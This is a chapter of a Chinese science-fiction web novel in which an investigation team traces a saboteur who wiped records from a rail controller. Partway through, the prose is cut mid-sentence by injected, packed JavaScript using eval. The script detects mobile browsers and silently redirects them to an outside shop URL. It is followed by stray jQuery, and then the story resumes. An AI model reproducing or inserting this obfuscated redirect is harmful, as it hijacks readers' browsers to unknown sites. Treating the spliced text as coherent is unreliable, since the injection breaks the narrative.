阿铆带着禾末和雀屏一起赶来的,闻宁这才发现,那天去灰栈镇的配置可能是这个行动队的满配。怎么不算是灰栈镇的一种幸运呢,明明离开不到一个月,闻宁恍惚间想起灰栈镇,记忆似乎已经模糊了。
禾末在灰衣男人身边蹲下,雀屏偷偷朝闻宁这边看了一眼,碰到沈拓凉凉的眼神,赶紧缩回来,抱着读取器去了拆开的控制器旁边。
陈烁用最短的话把事情说了一遍:“人用融合臂给设备供电开启了清除程序,沈拓断了他手臂的电路,停下以前毁了一部分记录,现在禾末先进行人机分离,雀屏就地追踪机器来源。”
禾末已经剪开男人右臂外面的工服,两枚触针从掌心伸出来,根部埋进融合血管,烧坏以后仍与控制器底部锁在一起。轨道医疗人员原本想把触针从接口里退出来,被她抬手拦住。
“先别动,锁扣已经回弹了,现在生拔会把手掌和里面的存储片一起坏。”
她的瞳孔边缘浮出一圈细白纹,视线沿着男人的手腕向上移动。皮肤下面的晶路一层压着一层,有些已经和血管长在一起,另一些颜色更新,显然是后来加进去的。
“这条是储能。”禾末用笔在男人前臂外侧画了一道,“这两条管触针,还有一条接神经反馈,原来负责触觉的位置被挤掉了一半,合流派的人体改装真是每次都让我大开眼界。”
男人不屑地哼了一声:“你们怎么会懂天才的思路。”
禾末继续沿着几处接驳口继续往上看,最早的一层晶路已经和身体长稳,外面两层却新得多,接口周围反复发炎,结出的薄痂下面还留着没有愈合的针孔。改造不是一次完成的。每增加一种功能,就得在原来的手臂上再挤出一点地方:“是,我才不会把人变得人不像人,鬼不像鬼。”
男人不说话,他睁着眼,呼吸已经比刚才平稳。他的右手伤成这样,脸上却没有多少疼痛反应。
禾末看了他一眼:“不是能忍,是感觉不到吧?”
男人没有回答。
“改装的人没告诉你,痛觉没了不等于不会受伤?”禾末的脸上露出讥讽的笑容,这些人死心塌地,却并不知道自己只是消耗品。
闻宁瞥了一眼,看出来禾末一边在维持这个人的生命体征,一边在检查他体内的回路结构,很有可能跟他们刚才提到的合流派有关。在灰栈镇那个小地方,没有什么派系纷争,也没有很多奇怪的人,大家都只是苟活着,她也不知道这个合流派是干什么的。但她也能想到的事情,九队的人不可能想不到,灰衣男人能拿着一套通过系统核验的手续走进封锁区,说明替他开路的人很可能还在里面。检修道只封了不到二十分钟,现在放人出去,之后再查,就只剩下一串可以互相推诿的记录。
看来他们是要在这里把问题都解决了。闻宁叹了一口气,她的右手臂这么烧下去......
“先贴上。”沈拓从禾末的医疗箱侧面抽出来一卷冷却膜,撕下三片扔给她,状似不经意地补了一句,“你好像受影响特别深。”上次也是,他还记得床边的那罐高稳定冷却材料,他回去过后就发现了,让闻宁一路辗转来到北岔的最终目的就是这个。
闻宁接住冷却膜,没有理会他的刺探,脱下外套的右边袖子,露出背心和被手套覆盖的右臂。沈拓下意识移开视线,随后疑惑自己为什么要避开,拧着头又看过去。正好闻宁将手套褪到小臂中间,那仍是一只形状正常的手,只是皮肤下生着细密的银白晶格,从五根指尖汇向手背,再沿手腕爬到肘部。平时它们颜色很暗,接近磨旧的银。她转动手腕时,几道细线才在皮肤下面依次反光。
沈拓能看到有薄薄的肌肉贴着骨骼生长,随着闻宁转动手腕时才显出一道紧实的起伏。银白晶格埋在皮肤下面,从指节间穿过腕骨,把原本流畅的肌肉线条分割得有些生硬。闻宁将一片冷却膜贴在小臂内侧,将沿着肌肉与晶格之间最热的那一段压平。她试着屈了一下手指,腕侧的筋腱绷起,几道发白的银线也跟着动了动。
九队用的东西到底和偏远小镇的不一样,她几乎立刻感觉手臂的热度下去了一半,比高稳定冷却材料也差不了多少,还便于携带,体积小。要不是九队盯着,她好想把整个脑袋都缠起来。闻宁默默地穿好衣服,没把剩下的两片还给沈拓,就当是她收的精神损失费了。
另一边,雀屏没有接触存储片。他先让轨道技术人员关掉附近所有读取设备,只留一台离线记录器,再把灰栈留下的异常波形调出来,和控制器停止前的最后一段信号放在一起。
“哈,就是这个!”雀屏兴奋地捶了一下手,“后面这段短一点,清除开始以后还往外送了几次握手信号,全都对上了。”
在他的安排下,工作人员把控制器周围的工具逐件编号,拍下内部线路原来的位置,再用没有供电功能的固定架托住外壳。雀屏开始检查机器,检查到左侧线路时停了一会儿。那条线已经从焊点处断开,表面没有明显烧痕,旁边的小元件却偏离了原来的位置。
“是这条?”他问沈拓,“怎么发现的,你的眼力可真是越来越强了,该不会以后要抢我的活吧?”
沈拓没有回答,只往闻宁站的地方看了一眼。
雀屏顺着他的目光转过头,看到闻宁的时候饶有趣味地问:“你又是怎么看出来的?”
闻宁还靠着墙,右手已经基本冷却,她原以为头里的胀痛也会跟着退下去。过去每次右臂过热,只要冷却起效,耳鸣和头晕都会一起减轻。可这一次,手臂已经不再灼痛,太阳穴后面那一点钝痛仍留在原处。检修道的灯没有再晃,她眼前却又掠过一小块门框上的白光。
“旁边那块东西在动。”她指了指相应的位置。
雀屏重新看向断线旁边的小元件,用手里的记录器放大此前拍到的现场影像,画面有些晃,放慢以后,确实能看见那东西每隔一阵轻轻偏一下。
“真动了。”他把这一段单独标出来,“幅度这么小,你眼睛也挺好使,和末末有得一拼了。”
闻宁没有接这句话。
禾末刚好处理完灰衣男人,确认储能片里只剩无法形成脉冲的余电,才冲沈拓点头让他过来帮忙,两人一左一右,先退锁扣,再把触针从控制器底部慢慢送出来,针尖离开接口时,设备没有再亮。她听到雀屏的话撇了撇嘴,起身摘掉沾血的外层手套,走到闻宁面前:“手拿出来我给你看看。”
闻宁没有动:“贴过冷却膜之后已经不那么热了。”
这句话没有配合她的意思,禾末听出来了。她盯着闻宁看了一会儿,瞳孔边缘的白纹再次浮现。这一次检查从右臂往肩颈延伸,最后停在头部。
闻宁没有躲,她闭了闭眼,门框上那团炸开的白光又闪了一次。她目前还不确定禾末的能力到底来源于什么,也不确定她能看到什么东西,也不知道她会再自己的右臂和大脑里看到什么。
几秒后,禾末收回视线:“右臂负载还没完全降下来,目前不能确定原因,但看起来不会影响右臂的整体结构。其他地方目前没有看出问题。”
闻宁的睫毛轻轻颤了颤:“我能回去吗?”
“不能。”陈烁回答得比她快,“你是取件人,也是两次启动的现场目击者,至少先等我们找到你退掉的那只原件。”
沈拓已经走到轨道负责人的终端旁边,他让对方把二号交接厅当时的退件流程全部调出来,不只查现在这只假设备的编号,拒收以后谁碰过原件、谁给它安排了库位。
终端显示得很完整:型号不符——转入退件区——分配北库第三排十七号位。
之后没有领取、换壳或再次出库记录。系统里的每一步都能对上。现在这只异常组件正是借用了这份退件身份,才被当成普通旧控制器装上工作车。
闻宁没有继续看他们查记录。她坐到检修道旁边的折叠椅上,右臂温度已经降到四十三,手指迟滞
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17863334|212112||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
基本消失。太阳穴里的疼却还在,只比最严重的时候轻了一点。
雀屏已经拆下门口的通行终端,他在终端侧面接上一台离线记录器,又让轨道负责人关闭附近设备的自动覆盖。屏幕上没有完整录像,只有门禁摄像头、感应器和维修标记器在最近几分钟里留下的碎片。
雀屏的手掌贴近终端,掌心那块黑色薄痕贴住外壳,边缘亮起一圈微弱的白光。他的右眼瞳孔外缘散着几粒细小的黑斑,像一块用了太久的屏幕。终端里残留的画面逐渐浮出来,那些黑斑也跟着增多,一点点蚕食他的视野。
灰衣男人第一次经过门口时,右手垂在身侧,左手拿着回收单,没有绝缘箱。下一段只剩半扇门,时间往后跳了三分多钟,男人从维修通道出来,手里才多了那只箱子。
雀屏睁开眼,先看了一眼自己腕上的记录器。
“我刚才读到哪儿?”
记录器用他的声音回答:“目标进场时未携带箱体,箱体来源为维修通道内部。”
“行。”他按了下太阳穴,“接着看。”
维修通道的控制器比门禁更旧,能留下的画面也更短。雀屏连读两次,才拼出一个穿轨道工服的人影。那人在灰衣男人到场前把箱子推进设备间,出来时抬手刷了一下员工卡,脸没有照到,卡号留下了后四位。
轨道负责人查完,脸色变了:“卡是外包调度组的,持卡人今天还在现场。”
陈烁问:“在哪儿?”
“事故以后都集中在东侧待命区。”
“封东侧门,人按原工位分开。”
九队没有大张旗鼓地搜人,轨道负责人把六名外包调度员分别叫到不同的检修间,只说要重新核对事故期间的动线,陈烁带着雀屏挨个了解情况。只问那只绝缘箱从哪个库拿的。
前三个人都说不知道箱子在哪儿,第四个人抬头太快,话也出来得太快。
“西边设备间的东西,怎么会从库里拿?”
屋里静了一下,轨道负责人看着他:“谁告诉你箱子在西边设备间?”
男人张了张嘴:“我猜的。”
陈烁没有去抓他,只把视线落到他左腕上:“手放桌上。”
男人下意识把腕端往袖口里一缩,下一秒,腕端亮了,删除进度已经走到百分之五十九,男人转身就往侧门冲,才跑出两步,侧门先一步落锁。陈烁从门边伸手,扣住他胳膊,把人按在墙上。
雀屏拔下他的腕端,删除进度停在百分之六十二。
没删完的是一条临时回收任务,任务没有发件人,内容也很短:将指定绝缘箱放入西侧设备间;十四点四十分开启维修通道七分钟。
“我不知道里面是什么。”男人脸贴着墙,说话有些喘,“他们说是外包件,手续赶不上,让我先放进去。”
陈烁问:“谁给你的任务?”
“不知道。”
“不知道你也敢随便动手!”
雀屏看向轨道负责人,对方已经调出权限记录。这个人的卡确实只开过设备间和维修通道,没有碰过退件库,也没有权限把一件货写进库存。
他们抓住了给灰衣男人递箱子的人,但让灰衣男人通过系统核验的,不是他。
检修道另一头传来脚步声。轨道负责人拿着终端快步回来,身后还跟着二号交接厅的库管:“三排十七号位是空的。”
陈烁抬头:“出库记录呢?”
“没有。系统一直显示在库。”
“谁做的入库确认?”
负责人把终端转过来。页面最下面留着操作编号,账号属于刚好是跟来的二号交接厅库管,确认时间是十几天前的五点十七分,不是刚才抓住的外包调度员。
他随即调出北库的卸货记录。五点十五分到五点半,库管连续接了三辆货车,每次交接都有掌纹确认。
同一个人,不可能同时出现在北库和二号交接厅。